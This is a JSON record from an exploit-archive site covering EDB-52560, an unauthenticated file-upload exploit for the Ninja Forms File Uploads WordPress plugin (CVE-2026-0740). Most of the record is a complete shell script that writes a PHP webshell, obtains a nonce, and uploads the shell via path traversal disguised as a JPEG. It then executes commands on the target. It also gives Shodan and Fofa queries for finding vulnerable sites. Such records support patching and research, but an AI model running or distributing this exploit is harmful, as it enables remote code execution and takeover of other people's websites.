{"exploit":{"id":"EDB-52560","name":"Ninja Forms Uploads - Unauthenticated PHP File Upload","description":"Ninja Forms Uploads - Unauthenticated PHP File Upload","cves":["CVE-2026-0740"],"author":"selim.lanouar","published":"2026-05-13","platform":"multiple","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52560","path":"exploits/multiple/webapps/52560.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52560.sh","vulnerabilities":[{"id":"CVE-2026-0740","state":"PUBLISHED","title":"Ninja Forms - File Upload <= 3.3.26 - Unauthenticated Arbitrary File Upload","titleSource":"CVE Program","description":"The Ninja Forms - File Uploads plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'NF_FU_AJAX_Controllers_Uploads::handle_upload' function in all versions up to, and including, 3.3.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0740","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0740"},"updatedAt":"2026-04-08T16:34:50.670Z","retrievedAt":"2026-11-25T16:15:50.367Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52560.png?v=2","url":"https://exploitbin.com/exploits/EDB-52560","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52560/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52560/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:    Ninja Forms Uploads - Unauthenticated PHP File Upload\n# Date:             2026-04-09\n# Exploit Author:   Sélim Lanouar (@whattheslime)\n# Vendor Homepage:  https://ninjaforms.com/\n# Software Link:    https://ninjaforms.com/extensions/file-uploads/\n# Version:          3.3.24\n# Tested on:        WordPress (6.9.3) on Apache and Nginx servers\n# CVE:              CVE-2026-0740\n# Fofa Query:       body=\"nfpluginsettings.js?ver=\"\n# Shodan Query:     http.html:\"nfpluginsettings.js?ver=\"\n# =============================================================================\n\nif [ \"$#\" -ne 1 ]; then\n    echo \"Usage: $0 <target_url>\"\n    exit 1\nfi\n\ntarget=$1\n\nfield_id=$(head /dev/urandom | tr -dc '1-9' | head -c 16 ; echo)\nfile_name=webshell.php\necho \"[-] Writing webshell in /tmp/$file_name...\"\necho '<?php system($_GET[\"cmd\"]); ?>' > /tmp/$file_name\n\necho \"[-] Fetching nonce for random field_id $field_id...\"\nnonce=$(curl -s -X POST \"$target/wp-admin/admin-ajax.php\" \\\n     -d \"action=nf_fu_get_new_nonce&field_id=$field_id\" | jq -r '.data.nonce')\necho \"[+] Got nf_fu_upload nonce: $nonce\"\n\necho \"[-] Uploading webshell...\"\nresponse=$(curl -ks -X POST \"$target/wp-admin/admin-ajax.php\" \\\n     -F \"action=nf_fu_upload\" \\\n     -F \"nonce=$nonce\" \\\n     -F \"form_id=$field_id\" \\\n     -F \"field_id=$field_id\" \\\n     -F \"image_jpg=../../../$file_name\" \\\n     -F \"files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg\")\necho \"[+] Upload response: $response\"\n\ncommand=\"curl -ks '$target/wp-content/$file_name?cmd=id'\"\necho \"[-] Executing the 'id' command via the uploaded webshell: $command\"\nresult=$(eval $command)\necho \"[+] Command output: $result\"","sha256":"b0934489e4ae347124f74f9cad110dbddee4b8dd3a69079b8ee72ed291827633","bytes":1670,"fetchedAt":"2026-11-26T11:05:39.010Z","encoding":"utf-8 (display only; download retains original bytes)"}